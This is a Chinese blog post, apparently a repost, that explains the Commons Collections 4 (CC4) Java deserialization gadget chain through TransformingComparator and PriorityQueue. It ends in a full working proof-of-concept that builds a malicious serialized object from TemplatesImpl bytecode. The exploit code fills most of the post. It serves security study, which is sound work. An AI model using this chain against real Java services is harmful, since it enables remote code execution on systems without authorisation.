java cc链4

这篇具有很好参考价值的文章主要介绍了java cc链4。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

java cc链4
在cc4上,需要在pom.xml中加入

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

这个其实还是围绕在 ChainedTransformer.transform方法的执行,至于是使用字节码加载或者使用InvokerTransformer.transform都是可以的,
这里使用TransformingComparator.compare方法

public TransformingComparator(Transformer transformer, Comparator decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(Object obj1, Object obj2) {
        Object value1 = this.transformer.transform(obj1);
        Object value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

当传入的transformerChainedTransformer时候,就会调用ChainedTransformer.transform
所以

 transformerChain.transform(1);
 //可以替换为下面的内容
TransformingComparator transformingComparator = new TransformingComparator(transformerChain,null);
transformingComparator.compare("1",null);//或者 transformingComparator.compare(null,"1");

PriorityQueue.siftDownUsingComparator方法中调用了
heapify(); heapify() siftDown()

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

siftDownUsingComparator–>siftDown()–>heapify() ,而heapify() 位于readObject方法中,只需要满足链路过程中的if判断即可
首先在

private int size = 0;
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这里解释一下size >>> 1,将size的二进制表示向右移动指定的位数,这里是1,如果size是1 二进制是0001,1>>>1输出的是0,2 0010 2>>>1 1,这里面要进入for循环中,就需要size的值最少为2,需要找到一个方法修改默认的size属性值,这里找到了offer方法,

private int size = 0;
transient Object[] queue; 
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

然后发现在add方法中调用了该方法,

public boolean add(E e) {
    return offer(e);
}

随意传入一个值,使得e == null,由于queue默认为空,所以queue.length为null,if判断不成立,size = i + 1;,由于进入heapify()的for循环需要size>=2,所以需要添加两个数值,

TransformingComparator transformingComparator = new TransformingComparator(transformerChain,null);
PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
objects.add("1");
objects.add("2");

但是在offer方法中,i>=1,导致下一个if不成立,进入siftUp方法,然后有调用siftUpUsingComparator,导致在序列化的过程中就会执行系统命令,我们使用cc6的断链,再反射修复链路即可,这里在
TransformingComparator处进行修改,

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue test = new PriorityQueue<>(transformingComparator);
test.add(1);
test.add(2);
Class chainedTransformerClass =transformingComparator.getClass();
Field transformer = chainedTransformerClass.getDeclaredField("transformer");
transformer.setAccessible(true);        transformer.set(transformingComparator,transformerChain);

或者 使用反射的方式修改size的属性值

TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue test = new PriorityQueue<>(transformingComparator);
Class aClass = test.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(test,2);

最后的代码为

    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
    public static void main(String[] args) throws  Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
        byte[][] codes= {code};
        bytecodes.set(templates,codes);
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(TrAXFilter.class),
                input
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform(1);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
//        transformingComparator.compare("1",null);
//        transformingComparator.compare(null,"1");
        PriorityQueue test = new PriorityQueue<>(transformingComparator);
//        test.add(1);
//        test.add(2);
        Class aClass = test.getClass();
        Field size = aClass.getDeclaredField("size");
        size.setAccessible(true);
        size.set(test,2);

//        Class chainedTransformerClass =transformingComparator.getClass();
//        Field transformer = chainedTransformerClass.getDeclaredField("transformer");
//        transformer.setAccessible(true);
//        transformer.set(transformingComparator,transformerChain);

//        serialize(test);
        unserialize("person.bin");

    }

注意事项:导入的库需要在org.apache.commons.collections4下面文章来源地址https://www.toymoban.com/news/detail-802548.html

到了这里,关于java cc链4的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java安全 CC链2分析

    CC2链适用于Apache common collection 4.0版本,由于该版本对 AnnotationInvocationHandler类 的 readObject 方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同 有关环境配置请看 Java安全 CC链1分析 不同的是由于我们需

    2024年03月19日
    浏览(35)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(55)
  • 腾讯EdgeOne产品测评体验——多重攻击实战验证安全壁垒:DDoS攻击|CC压测|Web漏洞扫描|SQL注入

    🌈你好呀!我是 是Yu欸 🌌 2024每日百字篆刻时光,感谢你的陪伴与支持 ~ 🚀 欢迎一起踏上探险之旅,挖掘无限可能,共同成长! 在一个阳光明媚的下午,我收到了一个特别的邀请:对腾讯云EdgeOne(简称EO),一款致力于提速和加强网站安全的边缘安全加速平台,进行深度

    2024年04月17日
    浏览(42)
  • 【网安】DDoS / Web漏洞 / CC攻击 / 恶意爬虫

    🌈你好呀!我是 是Yu欸 🌌 2024每日百字篆刻时光,感谢你的陪伴与支持 ~ 🚀 欢迎一起踏上探险之旅,挖掘无限可能,共同成长! 前些天发现了一个人工智能学习网站,内容深入浅出、易于理解。如果对人工智能感兴趣,不妨点击查看。 DDoS / Web漏洞 / CC攻击 / 恶意爬虫 DD

    2024年04月09日
    浏览(54)
  • web安全学习笔记【21】——安全开发

    安全开发-PHP应用留言板功能超全局变量数据库操作第三方插件引用 #知识点: 1、 PHP留言板前后端功能实现 2、 数据库创建架构 增删改查 3、 内置超全局变量HTMLJS混编 4、 第三方应用插件传参对象调用 DAY1 #章节点 PHP: 功能: 新闻 列表, 会员中心 , 资源下载 , 留言 版,

    2024年04月14日
    浏览(51)
  • 【心得】java从CC1链入门CC链个人笔记

    来劲了,感觉离真正的CTF又近了一步。 本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。 目录 CC链概念 CC链学习前置知识 CC1链 Version1 Version2 Version3 CC链  Commons Collections apache组织发布的开源库 里面主要对集合的增强以及扩展类  被广泛使用 如HashMap  HashTable  ArrayList 总

    2024年01月25日
    浏览(41)
  • Django:用于轻松安全 Web 开发的高级 Python Web 框架

    Django是一种高级 Python Web 框架,近年来在开发人员中广受欢迎。Django 专注于简单性、安全性和可扩展性,使开发人员可以轻松构建和部署强大的 Web 应用程序。在这份综合指南中,我们将仔细研究是什么让 Django 成为 Web 开发的绝佳选择,并详细探讨其主要特性和功能。 1. 安

    2024年02月15日
    浏览(51)
  • web漏洞-java安全(41)

     这个重点是讲关于java的代码审计,看这些漏洞是怎么在java代码里面产生的。 #Javaweb 代码分析-目录遍历安全问题  这个漏洞原因前面文章有,这次我们看看这个漏洞如何在代码中产生的,打开靶场  解题思路就是通过文件上传,上传文件把它应该正常上传的路径进行修改,

    2024年02月15日
    浏览(29)
  • java cc链4

    java cc链4 在cc4上,需要在pom.xml中加入 这个其实还是围绕在 ChainedTransformer.transform 方法的执行,至于是使用字节码加载或者使用 InvokerTransformer.transform 都是可以的, 这里使用 TransformingComparator.compare 方法 当传入的 transformer 为 ChainedTransformer 时候,就会调用 ChainedTransformer.tran

    2024年01月18日
    浏览(33)
  • Java安全基础之Java Web核心技术

    目录 Java EE Java MVC Servlet JSP Filter JDBC RMI JNDI Java 平台有 3 个主要版本: Java SE(Java Platform Standard Edition,Java平台标准版) Java EE(Java Platform Enterprise Edition,Java 平台企业版) Java ME(Java Platform Micro Edition,Java 平台微型版) 其中 Java EE 是 Java 应用最广泛的版本。Java EE 也称为

    2024年04月22日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包